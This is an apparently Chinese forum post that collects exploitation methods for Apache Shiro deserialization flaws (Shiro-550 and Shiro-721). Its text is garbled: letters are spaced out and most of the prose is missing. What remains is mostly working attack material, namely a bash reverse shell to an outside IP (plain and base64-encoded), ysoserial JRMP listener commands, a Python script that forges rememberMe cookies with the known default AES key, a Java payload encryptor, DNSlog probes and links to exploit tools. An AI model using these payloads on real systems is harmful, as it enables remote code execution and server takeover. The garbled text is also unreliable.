[1004] 2020-07-06_Shiro反序列化漏洞利用汇总

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-16
2020-07-06_Shiro反序列化漏洞利用汇总 S h i r o   B y p a s s   B y p a s s   2 0 2 0 - 0 7 - 0 6   A p a c h e   S h i r o J a v a S h i r o 1 S h i r o   r e m e m b e r M e S h i r o - 5 5 0 1 . 1   1 . 2   1 . 3   1 . 4   1 . 4 . 1   s h e l l 1 . 4 . 2   2 S h i r o   P a d d i n g   O r a c l e   A t t a c k S h i r o - 7 2 1 2 . 1   2 . 2   2 . 3   3 3 . 1   S h i r o - 5 5 0 3 . 2   S h i r o - 7 2 1 1 S h i r o   r e m e m b e r M e S h i r o - 5 5 0 1 . 1     A p a c h e   S h i r o R e m e m b e r M e c o o k i e r e m e m b e r M e c o o k i e b a s e 6 4 A E S R C E P a y l o a d = > = > A E S = > b a s e 6 4 = > R e m e m b e r M e   C o o k i e A E S , P a y l o a d 1 . 2     A p a c h e   S h i r o   <   1 . 2 . 4 1 . 3     r e m e m b e r M e = d e l e t e M e 1 . 4     使 S h i r o _ e x p l o i t k e y G i t h u b 使 h t t p s : / / g i t h u b . c o m / i n s i g h t g l a c i e r / S h i r o _ e x p l o i t p y t h o n   s h i r o _ e x p l o i t . p y   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 7 2 . 1 2 9 : 8 0 8 0
k e y s h e l l s h e l l 1 s h e l l J a v a   R u n t i m e     b a s h   线 2 y s o s e r i a l J R M P 6 6 6 6 s h e l l 3 使 s h i r o . p y   P a y l o a d s h i r o . p y 4 c o o k i e P a y l o a d n c   - l v p   1 2 3 4 h t t p : / / w w w . j a c k s o n - t . c a / r u n t i m e - e x e c - p a y l o a d s . h t m l b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 3 / 1 2 3 4   0 > & 1 b a s h   - c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 x O T I u M T Y 4 L j E 3 M i 4 x M z M v M T I z N C A w P i Y x } | { b a s e 6 4 , - d } | { b a s h , - i } j a v a   - c p   y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l . j a r   y s o s e r i a l . e x p l o i t . J R M P L i s t e n e r   6 6 6 6   C o m m o n s C o l l e c t i o n s 4   ' b a s h   - c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 x O T I u M T Y 4 L j E 3 M i 4 x M z M v M T I z N C A w P i Y x } | { b a s e 6 4 , - d } | { b a s h , - i } ' p y t h o n   s h i r o . p y   1 9 2 . 1 6 8 . 1 7 2 . 1 3 3 : 6 6 6 6 i m p o r t   s y s i m p o r t   u u i d i m p o r t   b a s e 6 4 i m p o r t   s u b p r o c e s s f r o m   C r y p t o . C i p h e r   i m p o r t   A E S d e f   e n c o d e _ r e m e m b e r m e ( c o m m a n d ) :         p o p e n   =   s u b p r o c e s s . P o p e n ( [ ' j a v a ' ,   ' - j a r ' ,   ' y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l . j a r ' ,   ' J R M P C l i e n t ' ,   c o m m a n d ] ,   s t d o u t = s u b p r o c e s s . P I P E )         B S   =   A E S . b l o c k _ s i z e         p a d   =   l a m b d a   s :   s   +   ( ( B S   -   l e n ( s )   %   B S )   *   c h r ( B S   -   l e n ( s )   %   B S ) ) . e n c o d e ( )         k e y   =   b a s e 6 4 . b 6 4 d e c o d e ( " k P H + b I x k 5 D 2 d e Z i I x c a a a A = = " )         i v   =   u u i d . u u i d 4 ( ) . b y t e s         e n c r y p t o r   =   A E S . n e w ( k e y ,   A E S . M O D E _ C B C ,   i v )         f i l e _ b o d y   =   p a d ( p o p e n . s t d o u t . r e a d ( ) )         b a s e 6 4 _ c i p h e r t e x t   =   b a s e 6 4 . b 6 4 e n c o d e ( i v   +   e n c r y p t o r . e n c r y p t ( f i l e _ b o d y ) )         r e t u r n   b a s e 6 4 _ c i p h e r t e x t i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         p a y l o a d   =   e n c o d e _ r e m e m b e r m e ( s y s . a r g v [ 1 ] )       p r i n t   " r e m e m b e r M e = { 0 } " . f o r m a t ( p a y l o a d . d e c o d e ( ) )
n c s h e l l j a v a 1 p o c . s e r 2 使 S h i r o P a y l o a d j a v a s u d o   j a v a   - j a r   y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l . j a r   C o m m o n s B e a n u t i l s 1   " t o u c h   / t m p / s u c c e s s "   >   p o c . s e r p a c k a g e   s h i r o ; i m p o r t   o r g . a p a c h e . s h i r o . c r y p t o . A e s C i p h e r S e r v i c e ; i m p o r t   o r g . a p a c h e . s h i r o . c o d e c . C o d e c S u p p o r t ; i m p o r t   o r g . a p a c h e . s h i r o . u t i l . B y t e S o u r c e ; i m p o r t   o r g . a p a c h e . s h i r o . c o d e c . B a s e 6 4 ; i m p o r t   o r g . a p a c h e . s h i r o . i o . D e f a u l t S e r i a l i z e r ; i m p o r t   j a v a . n i o . f i l e . F i l e S y s t e m s ; i m p o r t   j a v a . n i o . f i l e . F i l e s ; i m p o r t   j a v a . n i o . f i l e . P a t h s ; p u b l i c   c l a s s   T e s t R e m e m b e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 b y t e [ ]   p a y l o a d s   =   F i l e s . r e a d A l l B y t e s ( F i l e S y s t e m s . g e t D e f a u l t ( ) . g e t P a t h ( " d : / / p o c . s e r " ) ) ;                 A e s C i p h e r S e r v i c e   a e s   =   n e w   A e s C i p h e r S e r v i c e ( ) ;                 b y t e [ ]   k e y   =   B a s e 6 4 . d e c o d e ( C o d e c S u p p o r t . t o B y t e s ( " k P H + b I x k 5 D 2 d e Z i I x c a a a A = = " ) ) ;                 B y t e S o u r c e   c i p h e r t e x t   =   a e s . e n c r y p t ( p a y l o a d s ,   k e y ) ;                 S y s t e m . o u t . p r i n t f ( c i p h e r t e x t . t o S t r i n g ( ) ) ;         } }
3 r e m e m b e r M e   C o o k i e / t m p s u c c e s s 2 S h i r o   P a d d i n g   O r a c l e   A t t a c k S h i r o - 7 2 1 2 . 1     A p a c h e   S h i r o   c o o k i e   A E S - 1 2 8 - C B C   r e m e m b e r M e P a d d i n g   O r a c l e   r e m e m b e r M e 2 . 2     A p a c h e   S h i r o   <   1 . 4 . 2 2 . 3     1 S h i r o c o o k i e r e m e m b e r M e 2 D N S l o g y s o s e r i a l p a y l o a d 3 使 r e m e m b e r M e p r e f i x P a y l o a d P a d d i n g   O r a c l e g i t h u b 使 R e s u l t j a v a   - j a r   y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l . j a r   C o m m o n s B e a n u t i l s 1   " p i n g   7 5 b b o t . d n s l o g . c n "   >   p a y l o a d . c l a s s h t t p s : / / g i t h u b . c o m / l o n g o f o / P a d d i n g O r a c l e A t t a c k - S h i r o - 7 2 1 j a v a   - j a r   P a d d i n g O r a c l e A t t a c k . j a r   t a r g e t U r l   r e m e m b e r M e C o o k i e   b l o c k S i z e   p a y l o a d F i l e P a t h
4 使 r e m e m b e r M e 5 P a y l o a d D N S L o g I P 3 S h i r o E x p l o i t S h i r o - 5 5 0 S h i r o - 7 2 1 P a d d i n g   O r a c l e G i t h u b S h i r o - 5 5 0 u r l h t t p s : / / g i t h u b . c o m / f e i h o n g - c s / S h i r o E x p l o i t
S h i r o - 7 2 1 u r l r e m e m b e r M e   C o o k i e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则